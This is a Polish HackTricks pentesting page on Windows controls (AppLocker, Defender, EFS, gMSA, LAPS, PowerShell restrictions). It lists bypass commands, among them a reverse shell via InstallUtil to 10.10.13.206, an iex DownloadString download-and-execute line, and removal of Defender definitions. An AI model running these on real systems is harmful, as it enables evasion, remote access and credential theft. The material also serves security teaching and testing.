.. | ||
README.md | ||
uac-user-account-control.md |
Kontrole zabezpieczeń systemu Windows
Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Kup oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.
Użyj Trickest, aby łatwo tworzyć i automatyzować zadania przy użyciu najbardziej zaawansowanych narzędzi społeczności na świecie.
Zdobądź dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Polityka AppLocker
Biała lista aplikacji to lista zatwierdzonych aplikacji lub plików wykonywalnych, które mają prawo być obecne i uruchamiane w systemie. Celem jest ochrona środowiska przed szkodliwym oprogramowaniem i niezatwierdzonym oprogramowaniem, które nie jest zgodne z konkretnymi potrzebami biznesowymi organizacji.
AppLocker to rozwiązanie białej listy aplikacji firmy Microsoft, które daje administratorom systemu kontrolę nad którymi aplikacjami i plikami mogą uruchamiać użytkownicy. Zapewnia dokładną kontrolę nad plikami wykonywalnymi, skryptami, plikami instalacyjnymi systemu Windows, plikami DLL, aplikacjami pakietowymi i instalatorami aplikacji pakietowych.
Organizacje zazwyczaj blokują cmd.exe i PowerShell.exe oraz dostęp do określonych katalogów, ale wszystko to można ominąć.
Sprawdź
Sprawdź, które pliki/rozszerzenia są na czarnej/białej liście:
Get-ApplockerPolicy -Effective -xml
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
Ten ścieżka rejestru zawiera konfiguracje i zasady stosowane przez AppLocker, umożliwiając sprawdzenie bieżącego zestawu reguł egzekwowanych w systemie:
HKLM\Software\Policies\Microsoft\Windows\SrpV2
Ominięcie
- Przydatne Folderu z uprawnieniami do zapisu do ominięcia zasad AppLocker: Jeśli AppLocker pozwala na wykonanie czegokolwiek wewnątrz
C:\Windows\System32
lubC:\Windows
, istnieją foldery z uprawnieniami do zapisu, które można wykorzystać do zignorowania tego.
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
- Powszechnie zaufane binaria "LOLBAS's" mogą być również przydatne do ominięcia AppLocker.
- Słabo napisane reguły mogą również zostać ominięte
- Na przykład,
<FilePathCondition Path="%OSDRIVE%*\allowed*"/>
, możesz utworzyć folder o nazwieallowed
w dowolnym miejscu i będzie on zezwolony. - Organizacje często skupiają się na blokowaniu wykonywalnego pliku
%System32%\WindowsPowerShell\v1.0\powershell.exe
, ale zapominają o innych lokalizacjach plików wykonywalnych PowerShella takich jak%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
lubPowerShell_ISE.exe
. - Wymuszenie DLL jest bardzo rzadko włączane ze względu na dodatkowe obciążenie, jakie może wprowadzić dla systemu, oraz ilość testów wymaganych do zapewnienia, że nic nie zostanie uszkodzone. Dlatego korzystanie z DLL jako tylnych drzwi pomoże w ominięciu AppLocker.
- Możesz użyć ReflectivePick lub SharpPick do wykonania kodu Powershell w dowolnym procesie i ominięcia AppLocker. Aby uzyskać więcej informacji, sprawdź: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.
Przechowywanie poświadczeń
Menedżer kont bezpieczeństwa (SAM)
Lokalne poświadczenia są obecne w tym pliku, hasła są zahaszowane.
Lokalna władza bezpieczeństwa (LSA) - LSASS
Poświadczenia (zahaszowane) są zapisane w pamięci tego podsystemu z powodu funkcji logowania jednokrotnego.
LSA administruje lokalną polityką bezpieczeństwa (polityka haseł, uprawnienia użytkowników...), uwierzytelnianiem, tokenami dostępu...
LSA będzie tym, który będzie sprawdzał podane poświadczenia wewnątrz pliku SAM (dla lokalnego logowania) i komunikował się z kontrolerem domeny w celu uwierzytelnienia użytkownika domeny.
Poświadczenia są zapisane wewnątrz procesu LSASS: bilety Kerberos, hashe NT i LM, łatwo odszyfrowane hasła.
Sekrety LSA
LSA może zapisać na dysku niektóre poświadczenia:
- Hasło konta komputera Active Directory (niedostępny kontroler domeny).
- Hasła kont do usług systemu Windows
- Hasła do zaplanowanych zadań
- Więcej (hasło aplikacji IIS...)
NTDS.dit
To jest baza danych Active Directory. Jest obecna tylko w kontrolerach domeny.
Defender
Microsoft Defender to program antywirusowy dostępny w systemach Windows 10 i Windows 11, a także w wersjach systemu Windows Server. Blokuję on powszechne narzędzia do testów penetracyjnych, takie jak WinPEAS
. Jednak istnieją sposoby omijania tych zabezpieczeń.
Sprawdź
Aby sprawdzić stan Defendera, możesz wykonać polecenie PS Get-MpComputerStatus
(sprawdź wartość RealTimeProtectionEnabled
aby dowiedzieć się, czy jest aktywny):
PS C:\> Get-MpComputerStatus
[...]
AntispywareEnabled : True
AntispywareSignatureAge : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion : 1.323.392.0
AntivirusEnabled : True
[...]
NISEnabled : False
NISEngineVersion : 0.0.0.0
[...]
RealTimeProtectionEnabled : True
RealTimeScanDirection : 0
PSComputerName :
Aby go wyliczyć, można również uruchomić:
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend
#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
System plików zaszyfrowanych (EFS)
EFS zabezpiecza pliki poprzez szyfrowanie, wykorzystując klucz symetryczny znany jako Klucz Szyfrowania Pliku (FEK). Ten klucz jest szyfrowany za pomocą klucza publicznego użytkownika i przechowywany w strumieniu danych $EFS zaszyfrowanego pliku. W przypadku konieczności deszyfrowania, odpowiadający klucz prywatny certyfikatu cyfrowego użytkownika jest używany do odszyfrowania FEK z strumienia $EFS. Więcej szczegółów można znaleźć tutaj.
Scenariusze deszyfrowania bez inicjacji użytkownika obejmują:
- Gdy pliki lub foldery są przenoszone do systemu plików nieobsługiwanego przez EFS, takiego jak FAT32, są automatycznie deszyfrowane.
- Zaszyfrowane pliki wysyłane przez sieć za pomocą protokołu SMB/CIFS są deszyfrowane przed transmisją.
Ten sposób szyfrowania umożliwia transparentny dostęp do zaszyfrowanych plików dla właściciela. Jednakże, po prostu zmiana hasła właściciela i zalogowanie się nie pozwoli na deszyfrowanie.
Najważniejsze informacje:
- EFS używa symetrycznego FEK, szyfrowanego kluczem publicznym użytkownika.
- Deszyfrowanie wykorzystuje klucz prywatny użytkownika do uzyskania dostępu do FEK.
- Automatyczne deszyfrowanie zachodzi w określonych warunkach, takich jak kopiowanie do FAT32 lub transmisja sieciowa.
- Zaszyfrowane pliki są dostępne dla właściciela bez dodatkowych kroków.
Sprawdź informacje o EFS
Sprawdź, czy użytkownik korzystał z tej usługi, sprawdzając, czy ścieżka istnieje: C:\users\<nazwa_użytkownika>\appdata\roaming\Microsoft\Protect
Sprawdź, kto ma dostęp do pliku, używając cipher /c \<plik>\
Możesz także użyć cipher /e
i cipher /d
wewnątrz folderu, aby zaszyfrować i odszyfrować wszystkie pliki
Deszyfrowanie plików EFS
Będąc w systemie autorytetu
Ten sposób wymaga, aby użytkownik ofiary uruchamiał proces wewnątrz hosta. W takim przypadku, korzystając z sesji meterpreter
, można podrobić token procesu użytkownika (impersonate_token
z incognito
). Lub można po prostu migrate
do procesu użytkownika.
Znając hasło użytkownika
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
Zarządzane konta usług grupowych (gMSA)
Microsoft opracował Zarządzane Konta Usług Grupowych (gMSA), aby uproszczać zarządzanie kontami usług w infrastrukturach IT. W przeciwieństwie do tradycyjnych kont usług, które często mają ustawienie "Hasło nigdy nie wygasa", gMSA oferują bardziej bezpieczne i zarządzalne rozwiązanie:
- Automatyczne Zarządzanie Hasłem: gMSA używają złożonego hasła o długości 240 znaków, które automatycznie zmienia się zgodnie z polityką domeny lub komputera. Proces ten jest obsługiwany przez Usługę Dystrybucji Kluczy (KDC) firmy Microsoft, eliminując konieczność ręcznej aktualizacji hasła.
- Zwiększone Bezpieczeństwo: Te konta są odporne na blokady i nie mogą być używane do interaktywnych logowań, co zwiększa ich bezpieczeństwo.
- Wsparcie dla Wielu Hostów: gMSA mogą być współdzielone przez wiele hostów, co czyni je idealnymi dla usług działających na wielu serwerach.
- Zdolność do Planowania Zadań: W przeciwieństwie do zarządzanych kont usług, gMSA obsługują uruchamianie zaplanowanych zadań.
- Uproszczone Zarządzanie SPN: System automatycznie aktualizuje Nazwę Usługi Głównej (SPN) w przypadku zmian w szczegółach konta sAMaccount komputera lub nazwy DNS, upraszczając zarządzanie SPN.
Hasła dla gMSA są przechowywane w właściwości LDAP msDS-ManagedPassword i automatycznie resetowane co 30 dni przez kontrolery domeny (DC). To hasło, zaszyfrowany blok danych znany jako MSDS-MANAGEDPASSWORD_BLOB, może być pobrane tylko przez upoważnionych administratorów i serwery, na których zainstalowane są gMSA, zapewniając bezpieczne środowisko. Aby uzyskać dostęp do tych informacji, wymagane jest zabezpieczone połączenie, takie jak LDAPS, lub połączenie musi być uwierzytelnione za pomocą 'Sealing & Secure'.
Możesz odczytać to hasło za pomocą GMSAPasswordReader:
/GMSAPasswordReader --AccountName jkohler
Znajdź więcej informacji w tym poście
Sprawdź również tę stronę internetową dotyczącą wykonywania ataku przekazywania NTLM w celu odczytania hasła gMSA.
LAPS
Rozwiązanie Local Administrator Password Solution (LAPS), dostępne do pobrania z Microsoft, umożliwia zarządzanie hasłami lokalnych administratorów. Te hasła, które są losowe, unikalne i regularnie zmieniane, są przechowywane centralnie w Active Directory. Dostęp do tych haseł jest ograniczony za pomocą list ACL do autoryzowanych użytkowników. Przy odpowiednich przyznanych uprawnieniach możliwe jest odczytanie haseł lokalnych administratorów.
{% content-ref url="../active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}
Tryb języka PowerShell z ograniczeniami
Tryb Constrained Language Mode PowerShella blokuje wiele funkcji, które są potrzebne do efektywnego korzystania z PowerShell, takie jak blokowanie obiektów COM, zezwalanie tylko na zatwierdzone typy .NET, przepływy pracy oparte na XAML, klasy PowerShell i wiele innych.
Sprawdź
$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage
Pominięcie
#Easy bypass
Powershell -version 2
W obecnym systemie Windows to Bypass nie zadziała, ale możesz użyć PSByPassCLM.
Aby go skompilować, możesz potrzebować dodać odwołanie -> Przeglądaj -> Przeglądaj -> dodać C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll
i zmienić projekt na .Net4.5.
Bezpośrednie obejście:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
Odwrócony shell:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
Możesz użyć ReflectivePick lub SharpPick do wykonania kodu Powershell w dowolnym procesie i ominięcia trybu ograniczonego. Aby uzyskać więcej informacji, sprawdź: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.
Polityka Wykonania PS
Domyślnie jest ustawiona na restricted. Główne sposoby obejścia tej polityki:
1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
3º Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
4º Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
5º Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
6º Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
7º Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
8º Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
Więcej można znaleźć tutaj
Interfejs dostawcy obsługi zabezpieczeń (SSPI)
Jest to interfejs API, który może być używany do uwierzytelniania użytkowników.
SSPI będzie odpowiedzialny za znalezienie odpowiedniego protokołu dla dwóch maszyn, które chcą komunikować się. Preferowaną metodą jest Kerberos. Następnie SSPI negocjuje, który protokół uwierzytelniania zostanie użyty. Te protokoły uwierzytelniania nazywane są Dostawcami Obsługi Zabezpieczeń (SSP), znajdują się w każdej maszynie z systemem Windows w postaci pliku DLL, a obie maszyny muszą obsługiwać ten sam protokół, aby móc się komunikować.
Główne SSP
- Kerberos: Preferowany
- %windir%\Windows\System32\kerberos.dll
- NTLMv1 i NTLMv2: Z powodów zgodności
- %windir%\Windows\System32\msv1_0.dll
- Digest: Serwery internetowe i LDAP, hasło w postaci skrótu MD5
- %windir%\Windows\System32\Wdigest.dll
- Schannel: SSL i TLS
- %windir%\Windows\System32\Schannel.dll
- Negotiate: Używany do negocjacji protokołu do użycia (Kerberos lub NTLM, przy czym Kerberos jest domyślny)
- %windir%\Windows\System32\lsasrv.dll
Negocjacje mogą oferować kilka metod lub tylko jedną.
UAC - Kontrola konta użytkownika
Kontrola konta użytkownika (UAC) to funkcja umożliwiająca wyświetlanie monitu o zgodę na podniesione uprawnienia.
{% content-ref url="uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}
Użyj Trickest, aby łatwo tworzyć i automatyzować zadania przy użyciu najbardziej zaawansowanych narzędzi społeczności.
Zdobądź dostęp już dziś:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Zacznij od zera i zostań ekspertem w hakowaniu AWS dzięki htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud na GitHubie.